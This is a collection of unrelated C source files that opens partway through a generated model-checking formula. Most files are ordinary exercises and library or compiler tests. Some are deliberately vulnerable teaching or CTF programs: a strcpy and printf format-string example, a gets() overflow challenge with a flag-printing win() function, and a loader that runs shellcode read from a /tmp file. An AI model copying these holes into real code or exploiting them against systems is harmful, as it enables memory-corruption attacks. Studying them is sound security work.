-17.0) && (((x_9 + (-1.0 * _x_x_28)) <= -17.0) && (((x_6 + (-1.0 * _x_x_28)) <= -19.0) && (((x_5 + (-1.0 * _x_x_28)) <= -6.0) && (((x_4 + (-1.0 * _x_x_28)) <= -2.0) && (((x_0 + (-1.0 * _x_x_28)) <= -15.0) && ((x_1 + (-1.0 * _x_x_28)) <= -8.0)))))))))))))))) && (((x_30 + (-1.0 * _x_x_28)) == -3.0) || (((x_26 + (-1.0 * _x_x_28)) == -5.0) || (((x_24 + (-1.0 * _x_x_28)) == -9.0) || (((x_21 + (-1.0 * _x_x_28)) == -1.0) || (((x_20 + (-1.0 * _x_x_28)) == -20.0) || (((x_18 + (-1.0 * _x_x_28)) == -4.0) || (((x_16 + (-1.0 * _x_x_28)) == -17.0) || (((x_13 + (-1.0 * _x_x_28)) == -19.0) || (((x_12 + (-1.0 * _x_x_28)) == -11.0) || (((x_11 + (-1.0 * _x_x_28)) == -17.0) || (((x_9 + (-1.0 * _x_x_28)) == -17.0) || (((x_6 + (-1.0 * _x_x_28)) == -19.0) || (((x_5 + (-1.0 * _x_x_28)) == -6.0) || (((x_4 + (-1.0 * _x_x_28)) == -2.0) || (((x_0 + (-1.0 * _x_x_28)) == -15.0) || ((x_1 + (-1.0 * _x_x_28)) == -8.0)))))))))))))))))) && ((((x_29 + (-1.0 * _x_x_29)) <= -6.0) && (((x_28 + (-1.0 * _x_x_29)) <= -17.0) && (((x_27 + (-1.0 * _x_x_29)) <= -11.0) && (((x_26 + (-1.0 * _x_x_29)) <= -1.0) && (((x_25 + (-1.0 * _x_x_29)) <= -11.0) && (((x_23 + (-1.0 * _x_x_29)) <= -5.0) && (((x_22 + (-1.0 * _x_x_29)) <= -14.0) && (((x_20 + (-1.0 * _x_x_29)) <= -18.0) && (((x_19 + (-1.0 * _x_x_29)) <= -20.0) && (((x_18 + (-1.0 * _x_x_29)) <= -6.0) && (((x_17 + (-1.0 * _x_x_29)) <= -2.0) && (((x_13 + (-1.0 * _x_x_29)) <= -3.0) && (((x_10 + (-1.0 * _x_x_29)) <= -6.0) && (((x_8 + (-1.0 * _x_x_29)) <= -3.0) && (((x_0 + (-1.0 * _x_x_29)) <= -19.0) && ((x_5 + (-1.0 * _x_x_29)) <= -14.0)))))))))))))))) && (((x_29 + (-1.0 * _x_x_29)) == -6.0) || (((x_28 + (-1.0 * _x_x_29)) == -17.0) || (((x_27 + (-1.0 * _x_x_29)) == -11.0) || (((x_26 + (-1.0 * _x_x_29)) == -1.0) || (((x_25 + (-1.0 * _x_x_29)) == -11.0) || (((x_23 + (-1.0 * _x_x_29)) == -5.0) || (((x_22 + (-1.0 * _x_x_29)) == -14.0) || (((x_20 + (-1.0 * _x_x_29)) == -18.0) || (((x_19 + (-1.0 * _x_x_29)) == -20.0) || (((x_18 + (-1.0 * _x_x_29)) == -6.0) || (((x_17 + (-1.0 * _x_x_29)) == -2.0) || (((x_13 + (-1.0 * _x_x_29)) == -3.0) || (((x_10 + (-1.0 * _x_x_29)) == -6.0) || (((x_8 + (-1.0 * _x_x_29)) == -3.0) || (((x_0 + (-1.0 * _x_x_29)) == -19.0) || ((x_5 + (-1.0 * _x_x_29)) == -14.0)))))))))))))))))) && ((((x_30 + (-1.0 * _x_x_30)) <= -2.0) && (((x_28 + (-1.0 * _x_x_30)) <= -18.0) && (((x_27 + (-1.0 * _x_x_30)) <= -15.0) && (((x_23 + (-1.0 * _x_x_30)) <= -19.0) && (((x_20 + (-1.0 * _x_x_30)) <= -20.0) && (((x_19 + (-1.0 * _x_x_30)) <= -6.0) && (((x_18 + (-1.0 * _x_x_30)) <= -11.0) && (((x_16 + (-1.0 * _x_x_30)) <= -2.0) && (((x_12 + (-1.0 * _x_x_30)) <= -15.0) && (((x_8 + (-1.0 * _x_x_30)) <= -5.0) && (((x_7 + (-1.0 * _x_x_30)) <= -19.0) && (((x_6 + (-1.0 * _x_x_30)) <= -19.0) && (((x_5 + (-1.0 * _x_x_30)) <= -10.0) && (((x_3 + (-1.0 * _x_x_30)) <= -14.0) && (((x_0 + (-1.0 * _x_x_30)) <= -4.0) && ((x_2 + (-1.0 * _x_x_30)) <= -5.0)))))))))))))))) && (((x_30 + (-1.0 * _x_x_30)) == -2.0) || (((x_28 + (-1.0 * _x_x_30)) == -18.0) || (((x_27 + (-1.0 * _x_x_30)) == -15.0) || (((x_23 + (-1.0 * _x_x_30)) == -19.0) || (((x_20 + (-1.0 * _x_x_30)) == -20.0) || (((x_19 + (-1.0 * _x_x_30)) == -6.0) || (((x_18 + (-1.0 * _x_x_30)) == -11.0) || (((x_16 + (-1.0 * _x_x_30)) == -2.0) || (((x_12 + (-1.0 * _x_x_30)) == -15.0) || (((x_8 + (-1.0 * _x_x_30)) == -5.0) || (((x_7 + (-1.0 * _x_x_30)) == -19.0) || (((x_6 + (-1.0 * _x_x_30)) == -19.0) || (((x_5 + (-1.0 * _x_x_30)) == -10.0) || (((x_3 + (-1.0 * _x_x_30)) == -14.0) || (((x_0 + (-1.0 * _x_x_30)) == -4.0) || ((x_2 + (-1.0 * _x_x_30)) == -5.0)))))))))))))))))) && ((((x_30 + (-1.0 * _x_x_31)) <= -11.0) && (((x_29 + (-1.0 * _x_x_31)) <= -1.0) && (((x_27 + (-1.0 * _x_x_31)) <= -12.0) && (((x_26 + (-1.0 * _x_x_31)) <= -5.0) && (((x_25 + (-1.0 * _x_x_31)) <= -9.0) && (((x_24 + (-1.0 * _x_x_31)) <= -12.0) && (((x_19 + (-1.0 * _x_x_31)) <= -2.0) && (((x_18 + (-1.0 * _x_x_31)) <= -17.0) && (((x_15 + (-1.0 * _x_x_31)) <= -5.0) && (((x_14 + (-1.0 * _x_x_31)) <= -17.0) && (((x_11 + (-1.0 * _x_x_31)) <= -4.0) && (((x_8 + (-1.0 * _x_x_31)) <= -8.0) && (((x_6 + (-1.0 * _x_x_31)) <= -1.0) && (((x_5 + (-1.0 * _x_x_31)) <= -18.0) && (((x_0 + (-1.0 * _x_x_31)) <= -19.0) && ((x_3 + (-1.0 * _x_x_31)) <= -7.0)))))))))))))))) && (((x_30 + (-1.0 * _x_x_31)) == -11.0) || (((x_29 + (-1.0 * _x_x_31)) == -1.0) || (((x_27 + (-1.0 * _x_x_31)) == -12.0) || (((x_26 + (-1.0 * _x_x_31)) == -5.0) || (((x_25 + (-1.0 * _x_x_31)) == -9.0) || (((x_24 + (-1.0 * _x_x_31)) == -12.0) || (((x_19 + (-1.0 * _x_x_31)) == -2.0) || (((x_18 + (-1.0 * _x_x_31)) == -17.0) || (((x_15 + (-1.0 * _x_x_31)) == -5.0) || (((x_14 + (-1.0 * _x_x_31)) == -17.0) || (((x_11 + (-1.0 * _x_x_31)) == -4.0) || (((x_8 + (-1.0 * _x_x_31)) == -8.0) || (((x_6 + (-1.0 * _x_x_31)) == -1.0) || (((x_5 + (-1.0 * _x_x_31)) == -18.0) || (((x_0 + (-1.0 * _x_x_31)) == -19.0) || ((x_3 + (-1.0 * _x_x_31)) == -7.0)))))))))))))))))) && (((((_EL_U_3085 == (_x__EL_U_3085 || ((_x__EL_U_3084 && (_x__EL_U_3083 || ((_x_x_1 + (-1.0 * _x_x_9)) <= -11.0))) || ((_x_x_22 + (-1.0 * _x_x_26)) <= -15.0)))) && ((_EL_U_3083 == (_x__EL_U_3083 || ((_x_x_1 + (-1.0 * _x_x_9)) <= -11.0))) && (_EL_U_3084 == ((_x__EL_U_3084 && (_x__EL_U_3083 || ((_x_x_1 + (-1.0 * _x_x_9)) <= -11.0))) || ((_x_x_22 + (-1.0 * _x_x_26)) <= -15.0))))) && (_x__J3102 == (( !((_J3102 && _J3111) && _J3116)) && (((_J3102 && _J3111) && _J3116) || ((((x_1 + (-1.0 * x_9)) <= -11.0) || ( !(((x_1 + (-1.0 * x_9)) <= -11.0) || _EL_U_3083))) || _J3102))))) && (_x__J3111 == (( !((_J3102 && _J3111) && _J3116)) && (((_J3102 && _J3111) && _J3116) || ((((x_22 + (-1.0 * x_26)) <= -15.0) || ( !(((x_22 + (-1.0 * x_26)) <= -15.0) || (_EL_U_3084 && (((x_1 + (-1.0 * x_9)) <= -11.0) || _EL_U_3083))))) || _J3111))))) && (_x__J3116 == (( !((_J3102 && _J3111) && _J3116)) && (((_J3102 && _J3111) && _J3116) || (((((x_22 + (-1.0 * x_26)) <= -15.0) || (_EL_U_3084 && (((x_1 + (-1.0 * x_9)) <= -11.0) || _EL_U_3083))) || ( !(_EL_U_3085 || (((x_22 + (-1.0 * x_26)) <= -15.0) || (_EL_U_3084 && (((x_1 + (-1.0 * x_9)) <= -11.0) || _EL_U_3083)))))) || _J3116)))))); _J3116 = _x__J3116; _J3111 = _x__J3111; x_10 = _x_x_10; _J3102 = _x__J3102; _EL_U_3083 = _x__EL_U_3083; x_13 = _x_x_13; x_9 = _x_x_9; x_17 = _x_x_17; x_1 = _x_x_1; _EL_U_3084 = _x__EL_U_3084; x_26 = _x_x_26; x_22 = _x_x_22; x_2 = _x_x_2; _EL_U_3085 = _x__EL_U_3085; x_3 = _x_x_3; x_0 = _x_x_0; x_7 = _x_x_7; x_5 = _x_x_5; x_12 = _x_x_12; x_6 = _x_x_6; x_16 = _x_x_16; x_8 = _x_x_8; x_11 = _x_x_11; x_20 = _x_x_20; x_14 = _x_x_14; x_23 = _x_x_23; x_15 = _x_x_15; x_31 = _x_x_31; x_28 = _x_x_28; x_18 = _x_x_18; x_4 = _x_x_4; x_19 = _x_x_19; x_24 = _x_x_24; x_25 = _x_x_25; x_27 = _x_x_27; x_29 = _x_x_29; x_30 = _x_x_30; x_21 = _x_x_21; } }
the_stack_data/649435.c
#include <stdio.h> #include <stdlib.h> #include <limits.h> static int maximumGap(int* nums, int numsSize) { if (numsSize < 2) { return 0; } int i; int min = INT_MAX; int max = INT_MIN; for (i = 0; i < numsSize; i++) { min = nums[i] < min ? nums[i] : min; max = nums[i] > max ? nums[i] : max; } /* the max gap size must be larger than or equal to the average */ double buck_size = 1.0 * (max - min) / (numsSize - 1); /* In case of all elememnts are the same number */ if (buck_size == 0) { return 0; } int buck_cnt = (max - min) / buck_size + 1; int *max_buck = malloc(buck_cnt * sizeof(int)); int *min_buck = malloc(buck_cnt * sizeof(int)); for (i = 0; i < buck_cnt; i++) { max_buck[i] = INT_MIN; min_buck[i] = INT_MAX; } for (i = 0; i < numsSize; i++) { int id = (nums[i] - min) / buck_size; max_buck[id] = nums[i] > max_buck[id] ? nums[i] : max_buck[id]; min_buck[id] = nums[i] < min_buck[id] ? nums[i] : min_buck[id]; } int max_gap = 0; /* Must not be empty */ int last_max = max_buck[0]; for (i = 1; i < buck_cnt; i++) { if (min_buck[i] != INT_MAX) { /* What we care about is the difference between the last element * in the last max bucket and the first element in the next min * bucket since the max gap must be larger or equal than the average * while the differences of elements in one bucket must less than * the average */ max_gap = min_buck[i] - last_max > max_gap ? min_buck[i] - last_max : max_gap; last_max = max_buck[i]; } } return max_gap; } int main(int argc, char **argv) { int i, count = argc - 1; int *nums = malloc(count * sizeof(int)); for (i = 0; i < count; i++) { nums[i] = atoi(argv[i + 1]); } printf("%d\n", maximumGap(nums, count)); return 0; }
the_stack_data/45451683.c
#include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <string.h> #include <limits.h> typedef struct queue Queue; Queue* createQueue(); void enqueue(Queue *queue, int item); int dequeue(Queue *queue); bool isEmpty(Queue *queue); int main() { Queue *queue = createQueue(); dequeue(queue); printf("Is it empty: %s\n", isEmpty(queue) == 1 ? "true" : "false"); int i; for (i = 0; i < 10; i ++) { enqueue(queue, i); } for (i = 0; i < 10; i ++) { printf("First: %d\n", dequeue(queue)); } return(0); } typedef struct node Node; struct queue { Node *head; Node *tail; }; struct node { int item; Node *next; }; Queue* createQueue() { Queue *temp = (Queue*) malloc(1 * sizeof(Queue)); temp->head = NULL; temp->tail = NULL; return(temp); } Node* createNode(int item) { Node *temp = (Node*) malloc(1 * sizeof(Node)); temp->item = item; temp->next = NULL; return(temp); } void enqueue(Queue *queue, int item) { Node *temp = createNode(item); if (isEmpty(queue)) { queue->head = temp; queue->tail = temp; } else { queue->tail->next = temp; queue->tail = temp; } } int dequeue(Queue *queue) { if (isEmpty(queue)) return(INT_MIN); Node *temp = queue->head; int ret = temp->item; queue->head = queue->head->next; free(temp); return(ret); } bool isEmpty(Queue *queue) { return(queue->head == NULL); }
the_stack_data/181394451.c
// RUN: clang -Xclang -load -Xclang LLVMX-OR.so %s -S -emit-llvm -O2 -o %t1.ll // RUN: test `grep -c ' xor ' %t1.ll` = 0 // RUN: clang -Xclang -load -Xclang LLVMX-OR.so %s -O2 -o %t2.out // RUN: clang %s -O2 -o %t3.out // RUN: test `%t2.out` = `%t3.out` #include <stdio.h> #include <stdint.h> int main() { volatile uint8_t a = 0, b = 1, c = 0; b=a^4; c=b+1; printf("%d\n", b); return 0; }
the_stack_data/89199677.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <sys/stat.h> #define shellcode_len 216 typedef void(*function)(void); void str_defuser(char *str, int len, char *payload, int payload_len) { char c; int i = 0; int cc = 0; while (cc < len) { *str ^= (payload[i % payload_len]); i += 1; *str ^= (payload[i % payload_len]); i += 1; *str ^= (payload[i % payload_len]); i += 1; *str ^= (payload[i % payload_len]); i += 1; str += 1; cc += 1; } } int main(void) { int readfd; char shellcode[shellcode_len] = { 0 }; char flag[] = {-38, 101, -4, -5, -48, 73, 120, -8, 121, -32, -115, -78, 120, -75, -52, 124, 102, -57, -50, -24, -42, 127, -1, -125, 0}; int flag_len = sizeof(flag); function fp = (function)&shellcode; if ((readfd = open("/tmp/bnpkevsekfpk3/aw3movsdirnqw", O_RDONLY)) < 0) { perror("open()"); exit(1); } read(readfd, shellcode, shellcode_len); close(readfd); if ((unlink("/tmp/bnpkevsekfpk3/aw3movsdirnqw")) < 0) { perror("unlink()"); exit(1); } str_defuser(flag, flag_len - 1, shellcode, 65); fp(); }
the_stack_data/86076255.c
/* * Copyright (c) 2007, 2008, 2009, ETH Zurich. * All rights reserved. * * This file is distributed under the terms in the attached LICENSE file. * If you do not find this file, copies can be found by writing to: * ETH Zurich D-INFK, Haldeneggsteig 4, CH-8092 Zurich. Attn: Systems Group. */ #include <unistd.h> #include <stdio.h> #include <assert.h> long gethostid(void) { fprintf(stderr, "XXX: gethostid() returns a constant\n"); return(0xba33e1f1); }
the_stack_data/59512070.c
/* Minimal Xlib port Stefano Bodrato, 14/3/2007 $Id: xflush.c,v 1.1 2007/12/21 08:04:24 stefano Exp $ */ #define _BUILDING_X #include <X11/Xlib.h> int XFlush(Display *display) { }
the_stack_data/132952099.c
#include <stdio.h> int main() { char text[100]; int i, vowel = 0, digit = 0, conso = 0, special = 0, space = 0; fflush(stdin); printf("\nPlease Enter the Text: "); gets(text); for (i = 0; text[i] != '\0'; i++) { if ((text[i] >= 'a' && text[i] <= 'z') || (text[i] >= 'A' && text[i] <= 'Z')) { if (text[i] == 'a' || text[i] == 'e' || text[i] == 'i' || text[i] == 'o' || text[i] == 'u' || text[i] == 'A' || text[i] == 'E' || text[i] == 'I' || text[i] == 'O' || text[i] == 'U') { vowel++; } else { conso++; } } else if (text[i] >= '0' && text[i] <= '9') { digit++; } else if (text[i] == ' ') space++; else { special++; } } printf("\n The Text Contains: \n"); printf("\n No. of Words in the Text is: %d", space + 1); printf("\n No. of Vowels in the Text is: %d", vowel); printf("\n No. of Consonants in the Text is: %d", conso); printf("\n No. of Digits in the Text is: %d", digit); printf("\n No. of Special Symbols in the Text is: %d", special); printf("\n No. of Space in the Text is: %d", space); }
the_stack_data/156392859.c
#include<stdio.h> #include<stdlib.h> typedef struct link{ int data; struct link *next; }node; void createSingleLinkList(node*); void displaySingleLinkList(node*); node* delete(node* ,int); void deletionlast(node *); node* deletionbeg(node *); void deletionanypos(node* ); int main() { int q,value; node *h; h = (node*)malloc(sizeof(node)); while(1) { printf("press 1 to create\n2 to display\n3 to delete\n4 to exit\n"); scanf("%d", &q); switch(q){ case 1: createSingleLinkList(h); break; case 2: displaySingleLinkList(h); break; case 3: printf("enter the value whose greater ones u wanna delete\n"); scanf("%d",&value); h=delete(h,value); break; case 4: exit(0); } } return 0; } void createSingleLinkList(node *l) { int x; while(1) { printf("Enter the data\n"); scanf("%d", &l->data); printf("another node press 1 else 0 \n"); scanf("%d", &x); if(x == 0){ l->next = NULL; break; } l->next = (node*)malloc(sizeof(node)); l = l->next; } } void displaySingleLinkList(node*l) { while(l->next != NULL) { printf("%d ", l->data); l = l->next; } printf("%d ", l->data); } node* delete(node* l,int value) { node*h=l; while(l->next!=NULL) { if(l->data > value) { if(l==h) l=deletionbeg(h); else if(l->next==NULL) deletionlast(h); else deletionanypos(l); } l=l->next; } } node* deletionbeg(node *l) { node * temp; temp=(node*)malloc(sizeof(node)); l=temp; l=l->next; temp->next=NULL; free(temp); return (l); } void deletionlast(node *l) { node* temp; temp=(node*)malloc(sizeof(node)); while(l->next->next!=NULL) { l=l->next; } temp=l->next; l->next=NULL; free(temp); } void deletionanypos(node* l) { node* temp; temp=(node*)malloc(sizeof(node)); temp=l->next; l->next=l->next->next; temp->next=NULL; free(temp); }
the_stack_data/1103975.c
#include <form.h> int main() { FIELD *field[3]; FORM *my_form; int ch; /* Initialize curses */ initscr(); start_color(); cbreak(); noecho(); keypad(stdscr, TRUE); /* Initialize few color pairs */ init_pair(1, COLOR_WHITE, COLOR_BLUE); init_pair(2, COLOR_WHITE, COLOR_BLUE); /* Initialize the fields */ field[0] = new_field(1, 10, 4, 18, 0, 0); field[1] = new_field(1, 10, 6, 18, 0, 0); field[2] = NULL; /* Set field options */ set_field_fore(field[0], COLOR_PAIR(1));/* Put the field with blue background */ set_field_back(field[0], COLOR_PAIR(2));/* and white foreground (characters */ /* are printed in white */ field_opts_off(field[0], O_AUTOSKIP); /* Don't go to next field when this */ /* Field is filled up */ set_field_back(field[1], A_UNDERLINE); field_opts_off(field[1], O_AUTOSKIP); /* Create the form and post it */ my_form = new_form(field); post_form(my_form); refresh(); set_current_field(my_form, field[0]); /* Set focus to the colored field */ mvprintw(4, 10, "Value 1:"); mvprintw(6, 10, "Value 2:"); mvprintw(LINES - 2, 0, "Use UP, DOWN arrow keys to switch between fields"); refresh(); /* Loop through to get user requests */ while((ch = getch()) != KEY_F(1)) { switch(ch) { case KEY_DOWN: /* Go to next field */ form_driver(my_form, REQ_NEXT_FIELD); /* Go to the end of the present buffer */ /* Leaves nicely at the last character */ form_driver(my_form, REQ_END_LINE); break; case KEY_UP: /* Go to previous field */ form_driver(my_form, REQ_PREV_FIELD); form_driver(my_form, REQ_END_LINE); break; default: /* If this is a normal character, it gets */ /* Printed */ form_driver(my_form, ch); break; } } /* Un post form and free the memory */ unpost_form(my_form); free_form(my_form); free_field(field[0]); free_field(field[1]); endwin(); return 0; }
the_stack_data/64200272.c
/* AUTHOR: FABER BERNARDO JUNIOR DATE: 08/02/2022 PROGRAM SYNOPSIS: Vector calc ENTRY DATA: matA, matB, matR OUTPUT DATA: matR */ #include <stdio.h> #define DIM_1 2 #define DIM_2 3 #define DIM_3 4 int main() { int matA[DIM_1][DIM_2] = {{2, 5, 7}, {4, 7, 5}}, matB[DIM_2][DIM_3] = {{7, 5, 6, 4}, {4, 6, 4, 3}, {9, 2, 2, 1}}, matR[DIM_1][DIM_3] = {{0, 0, 0, 0}, {0, 0, 0, 0}}, i, j, k; for (i = 0; i < DIM_1; i++) for (j = 0; j < DIM_3; j++) { for (k = 0; k < DIM_2; k++) matR[i][j] = matR[i][j] + matA[i][k] * matB[k][j]; printf("MatR[%d][%d] => %d \n", i, j, matR[i][j]); } return 0; }
the_stack_data/132953311.c
/* PR target/12503 */ /* Origin: <[email protected]> */ /* Verify that __builtin_apply behaves correctly on targets with pre-pushed arguments (e.g. SPARC). */ /* { dg-do run } */ /* arm_hf_eabi: Variadic funcs use Base AAPCS. Normal funcs use VFP variant. avr: Variadic funcs don't pass arguments in registers, while normal funcs do. */ /* { dg-skip-if "Variadic funcs use different argument passing from normal funcs" { arm_hf_eabi || { avr-*-* riscv*-*-* } } "*" "" } */ /* { dg-skip-if "Variadic funcs have all args on stack. Normal funcs have args in registers." { nds32*-*-* } "*" "" } */ /* { dg-require-effective-target untyped_assembly } */ #define INTEGER_ARG 5 #if defined(__ARM_PCS) || defined(__epiphany__) /* For Base AAPCS, NAME is passed in r0. D is passed in r2 and r3. E, F and G are passed on stack. So the size of the stack argument data is 20. */ #define STACK_ARGUMENTS_SIZE 20 #elif defined __aarch64__ || defined __arc__ || defined __MMIX__ /* No parameters on stack for bar. */ #define STACK_ARGUMENTS_SIZE 0 #else #define STACK_ARGUMENTS_SIZE 64 #endif extern void abort(void); void foo(char *name, double d, double e, double f, int g) { if (g != INTEGER_ARG) abort(); } void bar(char *name, ...) { __builtin_apply(foo, __builtin_apply_args(), STACK_ARGUMENTS_SIZE); } int main(void) { bar("eeee", 5.444567, 8.90765, 4.567789, INTEGER_ARG); return 0; }
the_stack_data/1222110.c
/* $OpenBSD: inet_net_ntop.c,v 1.8 2015/05/14 11:52:43 jsg Exp $ */ /* * Copyright (c) 2012 by Gilles Chehade <[email protected]> * Copyright (c) 1996 by Internet Software Consortium. * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS * SOFTWARE. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <stdio.h> #include <string.h> #include <stdlib.h> static char *inet_net_ntop_ipv4(const u_char *, int, char *, size_t); static char *inet_net_ntop_ipv6(const u_char *, int, char *, size_t); /* * char * * inet_net_ntop(af, src, bits, dst, size) * convert network number from network to presentation format. * generates CIDR style result always. * return: * pointer to dst, or NULL if an error occurred (check errno). * author: * Paul Vixie (ISC), July 1996 */ char * inet_net_ntop(int af, const void *src, int bits, char *dst, size_t size) { switch (af) { case AF_INET: return (inet_net_ntop_ipv4(src, bits, dst, size)); case AF_INET6: return (inet_net_ntop_ipv6(src, bits, dst, size)); default: errno = EAFNOSUPPORT; return (NULL); } } /* * static char * * inet_net_ntop_ipv4(src, bits, dst, size) * convert IPv4 network number from network to presentation format. * generates CIDR style result always. * return: * pointer to dst, or NULL if an error occurred (check errno). * note: * network byte order assumed. this means 192.5.5.240/28 has * 0x11110000 in its fourth octet. * author: * Paul Vixie (ISC), July 1996 */ static char * inet_net_ntop_ipv4(const u_char *src, int bits, char *dst, size_t size) { char *odst = dst; u_int m; int b; char *ep; int advance; ep = dst + size; if (ep <= dst) goto emsgsize; if (bits < 0 || bits > 32) { errno = EINVAL; return (NULL); } if (bits == 0) { if (ep - dst < sizeof "0") goto emsgsize; *dst++ = '0'; *dst = '\0'; } /* Format whole octets. */ for (b = bits / 8; b > 0; b--) { if (ep - dst < sizeof "255.") goto emsgsize; advance = snprintf(dst, ep - dst, "%u", *src++); if (advance <= 0 || advance >= ep - dst) goto emsgsize; dst += advance; if (b > 1) { if (dst + 1 >= ep) goto emsgsize; *dst++ = '.'; *dst = '\0'; } } /* Format partial octet. */ b = bits % 8; if (b > 0) { if (ep - dst < sizeof ".255") goto emsgsize; if (dst != odst) *dst++ = '.'; m = ((1 << b) - 1) << (8 - b); advance = snprintf(dst, ep - dst, "%u", *src & m); if (advance <= 0 || advance >= ep - dst) goto emsgsize; dst += advance; } /* Format CIDR /width. */ if (ep - dst < sizeof "/32") goto emsgsize; advance = snprintf(dst, ep - dst, "/%u", bits); if (advance <= 0 || advance >= ep - dst) goto emsgsize; dst += advance; return (odst); emsgsize: errno = EMSGSIZE; return (NULL); } static char * inet_net_ntop_ipv6(const u_char *src, int bits, char *dst, size_t size) { int ret; char buf[sizeof("xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:255:255:255:255/128")]; if (bits < 0 || bits > 128) { errno = EINVAL; return (NULL); } if (inet_ntop(AF_INET6, src, buf, size) == NULL) return (NULL); ret = snprintf(dst, size, "%s/%d", buf, bits); if (ret == -1 || ret >= size) { errno = EMSGSIZE; return (NULL); } return (dst); }
the_stack_data/133428.c
/** * Adapted from Hacking, the Art of Exploitation by Jon Erickson * See more elaborate version in exploitable.c */ #include <stdio.h> #include <string.h> int main(int argc, char * argv[]) { char text[1024]; strcpy(text, argv[1]); printf(text); printf("\n"); }
the_stack_data/87637674.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 100 #define FLAGSIZE 64 void win(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); if (arg1 != 0xDEADBEEF) return; if (arg2 != 0xDEADC0DE) return; printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; }
the_stack_data/6388404.c
#include <stdio.h> #include <assert.h> #ifdef WIN32 #pragma aux shift "^"; #endif #ifdef UNDERSCORE int shift_ (unsigned int *a, int *b) #else int shift (unsigned int *a, int *b) #endif { /*** This routine will not work if "int" is not a 32-bit quantity !!! *** *** Use "long" if "int" is not 32-bit (16-bit on some systems) *** *** and "long" is a 32-bit quantity. ***/ assert( sizeof(int) == 4); /************************************************************************/ return ( *b > 0) ? *a << *b : *a >> -(*b); } #ifdef DEBUG main(argc, argv) int argc; char *argv[]; { int pack = 1, i, j; while (pack > 0) { printf (" Enter arg#1 and shift > "); scanf ("%d %d", &i, &j); #ifdef UNDERSCORE pack = shift_ (&i, &j); #else pack = shift (&i, &j); #endif printf ("\n pack = %x \n", pack); printf (" Enter arg#2 and shift > "); scanf ("%d %d", &i, &j); #ifdef UNDERSCORE pack = pack + shift_ (&i, &j); #else pack = pack + shift (&i, &j); #endif printf ("\n pack = %x \n", pack); printf (" Enter arg#3 and shift > "); scanf ("%d %d", &i, &j); #ifdef UNDERSCORE pack = pack + shift_ (&i, &j); #else pack = pack + shift (&i, &j); #endif printf ("\n pack = %x \n", pack); } exit(1); } #endif /* DEBUG */
the_stack_data/52853.c
#include <stdio.h> int main(){ //Variables int metros, cm; //input printf("Digite um valor em metros: "); scanf("%d",&metros); //process cm = (metros * 100); //output printf("%d metro(s) em centimetros e: %d",metros, cm); return 0; }
the_stack_data/983218.c
/* Taxonomy Classification: 0003000000000000000000 */ /* * WRITE/READ 0 write * WHICH BOUND 0 upper * DATA TYPE 0 char * MEMORY LOCATION 3 bss * SCOPE 0 same * CONTAINER 0 no * POINTER 0 no * INDEX COMPLEXITY 0 constant * ADDRESS COMPLEXITY 0 constant * LENGTH COMPLEXITY 0 N/A * ADDRESS ALIAS 0 none * INDEX ALIAS 0 none * LOCAL CONTROL FLOW 0 none * SECONDARY CONTROL FLOW 0 none * LOOP STRUCTURE 0 no * LOOP COMPLEXITY 0 N/A * ASYNCHRONY 0 no * TAINT 0 no * RUNTIME ENV. DEPENDENCE 0 no * MAGNITUDE 0 no overflow * CONTINUOUS/DISCRETE 0 discrete * SIGNEDNESS 0 no */ /* Copyright 2004 M.I.T. Permission is hereby granted, without written agreement or royalty fee, to use, copy, modify, and distribute this software and its documentation for any purpose, provided that the above copyright notice and the following three paragraphs appear in all copies of this software. IN NO EVENT SHALL M.I.T. BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF M.I.T. HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. M.I.T. SPECIFICALLY DISCLAIMS ANY WARRANTIES INCLUDING, BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THE SOFTWARE IS PROVIDED ON AN "AS-IS" BASIS AND M.I.T. HAS NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS. */ int main(int argc, char *argv[]) { static char buf[10]; /* OK */ buf[9] = 'A'; return 0; }
the_stack_data/97700.c
